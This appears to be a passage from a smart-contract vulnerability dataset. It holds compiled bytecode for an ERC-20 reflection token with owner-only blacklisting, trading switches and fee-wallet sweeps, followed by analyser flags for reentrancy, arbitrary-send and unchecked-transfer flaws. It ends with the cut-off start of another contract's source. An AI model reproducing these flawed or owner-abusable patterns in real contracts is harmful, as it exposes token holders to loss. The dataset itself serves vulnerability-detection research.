33565b005b34801561064357600080fd5b5061064c610f83565b005b34801561065a57600080fd5b50610663610ffd565b005b34801561067157600080fd5b5061069e6004803603602081101561068857600080fd5b810190808035906020019092919050505061166b565b005b3480156106ac57600080fd5b5061070f600480360360408110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181a565b6040518082815260200191505060405180910390f35b34801561073157600080fd5b506107746004803603602081101561074857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a1565b005b60606040518060400160405280600981526020017f427265616420496e750000000000000000000000000000000000000000000000815250905090565b60006107c76107c0611ae4565b8484611aec565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107ef848484611ce3565b6108b0846107fb611ae4565b6108ab85604051806060016040528060288152602001613fa660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610861611ae4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a79092919063ffffffff16565b611aec565b600190509392505050565b6108c3611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6109ef611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0d611ae4565b73ffffffffffffffffffffffffffffffffffffffff1614610b2d57600080fd5b6000479050610b3b81612667565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bd957600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c24565b610c21600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d3565b90505b919050565b610c31611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4252454144efb88f000000000000000000000000000000000000000000000000815250905090565b6000610e29610e22611ae4565b8484611ce3565b6001905092915050565b610e3b611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f7f57600160076000848481518110610f1957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610efe565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611ae4565b73ffffffffffffffffffffffffffffffffffffffff1614610fe457600080fd5b6000610fef30610b3e565b9050610ffa81612757565b50565b611005611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601260149054906101000a900460ff1615611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111d830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611aec565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561121e57600080fd5b505afa158015611232573d6000803e3d6000fd5b505050506040513d602081101561124857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112bb57600080fd5b505afa1580156112cf573d6000803e3d6000fd5b505050506040513d60208110156112e557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561135f57600080fd5b505af1158015611373573d6000803e3d6000fd5b505050506040513d602081101561138957600080fd5b8101908080519060200190929190505050601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142330610b3e565b60008061142e610daf565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156114b357600080fd5b505af11580156114c7573d6000803e3d6000fd5b50505050506040513d60608110156114de57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561162c57600080fd5b505af1158015611640573d6000803e3d6000fd5b505050506040513d602081101561165657600080fd5b81019080805190602001909291905050505050565b611673611ae4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611733576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600081116117a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b6117d860646117ca83683635c9adc5dea00000612a4190919063ffffffff16565b612ac790919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118e2611ae4565b73ffffffffffffffffffffffffffffffffffffffff161461196b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4f6e6c792066656500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a1657600080fd5b505afa158015611a2a573d6000803e3d6000fd5b505050506040513d6020811015611a4057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611aa457600080fd5b505af1158015611ab8573d6000803e3d6000fd5b505050506040513d6020811015611ace57600080fd5b8101908080519060200190929190505050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061401c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f636022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613ff76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613f166023913960400191505060405180910390fd5b60008111611e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613fce6029913960400191505060405180910390fd5b611e50610daf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ebe5750611e8e610daf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124e457601260179054906101000a900460ff1615612124573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f4057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f9a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff45750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561212357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661203a611ae4565b73ffffffffffffffffffffffffffffffffffffffff1614806120b05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612098611ae4565b73ffffffffffffffffffffffffffffffffffffffff16145b612122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122145760135481111561216657600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561220a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61221357600080fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122bf5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123155750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561232d5750601260179054906101000a900460ff165b156123c55742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061237d57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006123d030610b3e565b9050601260159054906101000a900460ff1615801561243d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124555750601260169054906101000a900460ff165b156124e257601260179054906101000a900460ff16156124bf576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106124be57600080fd5b5b6124c881612757565b600047905060008111156124e0576124df47612667565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061258b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561259557600090505b6125a184848484612b11565b50505050565b6000838311158290612654576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126195780820151818401526020810190506125fe565b50505050905090810190601f1680156126465780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126cf573d6000803e3d6000fd5b5050565b6000600a54821115612730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613f39602a913960400191505060405180910390fd5b600061273a612d68565b905061274f8184612ac790919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561278c57600080fd5b506040519080825280602002602001820160405280156127bb5781602001602082028036833780820191505090505b50905030816000815181106127cc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561286e57600080fd5b505afa158015612882573d6000803e3d6000fd5b505050506040513d602081101561289857600080fd5b8101908080519060200190929190505050816001815181106128b657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aec565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156129e15780820151818401526020810190506129c6565b505050509050019650505050505050600060405180830381600087803b158015612a0a57600080fd5b505af1158015612a1e573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b600080831415612a545760009050612ac1565b6000828402905082848281612a6557fe5b0414612abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613f856021913960400191505060405180910390fd5b809150505b92915050565b6000612b0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d93565b905092915050565b80612b1f57612b1e612e59565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612bc25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612bd757612bd2848484612e9c565b612d54565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c7a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8f57612c8a8484846130fc565b612d53565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d315750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d4657612d4184848461335c565b612d52565b612d51848484613651565b5b5b5b80612d6257612d6161381c565b5b50505050565b6000806000612d75613830565b91509150612d8c8183612ac790919063ffffffff16565b9250505090565b60008083118290612e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e04578082015181840152602081019050612de9565b50505050905090810190601f168015612e315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612e4b57fe5b049050809150509392505050565b6000600c54148015612e6d57506000600d54145b15612e7757612e9a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612eae87613add565b955095509550955095509550612f0c87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308281613c17565b61308c8483613dbc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310e87613add565b95509550955095509550955061316c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e281613c17565b6132ec8483613dbc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061336e87613add565b9550955095509550955095506133cc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061358b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135d781613c17565b6135e18483613dbc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061366387613add565b9550955095509550955095506136c186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061375685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137a281613c17565b6137ac8483613dbc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b600980549050811015613a925782600260006009848154811061386a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061395157508160036000600984815481106138e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561396f57600a54683635c9adc5dea0000094509450505050613ad9565b6139f8600260006009848154811061398357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613b4590919063ffffffff16565b9250613a836003600060098481548110613a0e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613b4590919063ffffffff16565b9150808060010191505061384b565b50613ab1683635c9adc5dea00000600a54612ac790919063ffffffff16565b821015613ad057600a54683635c9adc5dea00000935093505050613ad9565b81819350935050505b9091565b6000806000806000806000806000613afa8a600c54600d54613df6565b9250925092506000613b0a612d68565b90506000806000613b1d8e878787613e8c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613b8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125a7565b905092915050565b600080828401905083811015613c0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613c21612d68565b90506000613c388284612a4190919063ffffffff16565b9050613c8c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613db757613d7383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b8f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613dd182600a54613b4590919063ffffffff16565b600a81905550613dec81600b54613b8f90919063ffffffff16565b600b819055505050565b600080600080613e226064613e14888a612a4190919063ffffffff16565b612ac790919063ffffffff16565b90506000613e4c6064613e3e888b612a4190919063ffffffff16565b612ac790919063ffffffff16565b90506000613e7582613e67858c613b4590919063ffffffff16565b613b4590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613ea58589612a4190919063ffffffff16565b90506000613ebc8689612a4190919063ffffffff16565b90506000613ed38789612a4190919063ffffffff16565b90506000613efc82613eee8587613b4590919063ffffffff16565b613b4590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220dd036cc0833d480cbf8a0f87bd67d99673f5eb41ed754f9229f3991ddb64441d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,511
0x7d1dc55792e81b728f218055018d63501d9d7d94
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ // SPDX-License-Identifier: Unlicensed /* 鑓塵幗膂蓿f寥寢膃暠瘉甅甃槊槎f碣綮瘋聟碯颱亦尓㍍i:i:i;;:;:: : : 澣幗嶌塹傴嫩榛畝皋i袍耘蚌紕欒儼巓襴踟篁f罵f亦尓㍍i:i:i;;:;:: : : 漲蔭甃縟諛f麭窶膩I嶮薤篝爰曷樔黎㌢´  `ⅷ踟亦尓㍍i:i:i;;:;:: : : 蔕漓滿f蕓蟇踴f歙艇艀裲f睚鳫巓襴骸     贒憊亦尓㍍i:i:i;;:;:: : : 榊甃齊爰f懈橈燗殪幢緻I翰儂樔黎夢'”    ,ィ傾篩縒亦尓㍍i:i:i;;:;:: : : 箋聚蜚壊劑薯i暹盥皋袍i耘蚌紕偸′    雫寬I爰曷f亦尓㍍i:i:i;;:;:: : : 銕颱麼寰篝螂徑悗f篝嚠篩i縒縡齢       Ⅷ辨f篝I鋗f亦尓㍍i:i:i;;:; : : . 碯聟f綴麼辨螢f璟輯駲f迯瓲i軌帶′     `守I厖孩f奎亦尓㍍i:i:i;;:;:: : : . 綮誣撒f曷磔瑩德f幢儂儼巓襴緲′          `守枢i磬廛i亦尓㍍i:i:i;;:;:: : : . 慫寫廠徑悗緞f篝嚠篩I縒縡夢'´              `守峽f徑悗f亦尓㍍i:i:i;;:;:: : : . 廛僵I數畝篥I熾龍蚌紕襴緲′             ‘守畝皋弊i劍亦尓㍍i:i:i;;:;:: : : . 瘧i槲瑩f枢篝磬曷f瓲軌揄′             ,gf毯綴徑悗嚠迩忙亦尓㍍i:i:i;;:;:: : : 襴罩硼f艇艀裲睚鳫襴鑿緲'               奪寔f厦傀揵猯i爾迩忙亦尓㍍i:i:i;;:; 椈棘斐犀耋絎絲絨緲′                     ”'罨悳萪f蒂渹幇f廏迩忙i亦尓㍍ 潁樗I瘧德幢i儂巓緲′                   r㎡℡〟”'罨椁裂滅楔滄愼愰迩忙亦 翦i磅艘溲I搦儼巓登zzz zzz㎜㎜ァg    緲 g    甯體i爺ゎ。, ”'罨琥焜毳徭i嵬塰慍絲 枢篝磬f曷迯i瓲軌f襴暹 甯幗緲 ,fi'   緲',纜。  贒i綟碕碚爺ゎ。 ”'罨皴發傲亂I黹靱 緞愾慊嵬嵯欒儼巓襴驫 霤I緲 ,緲   ",纜穐  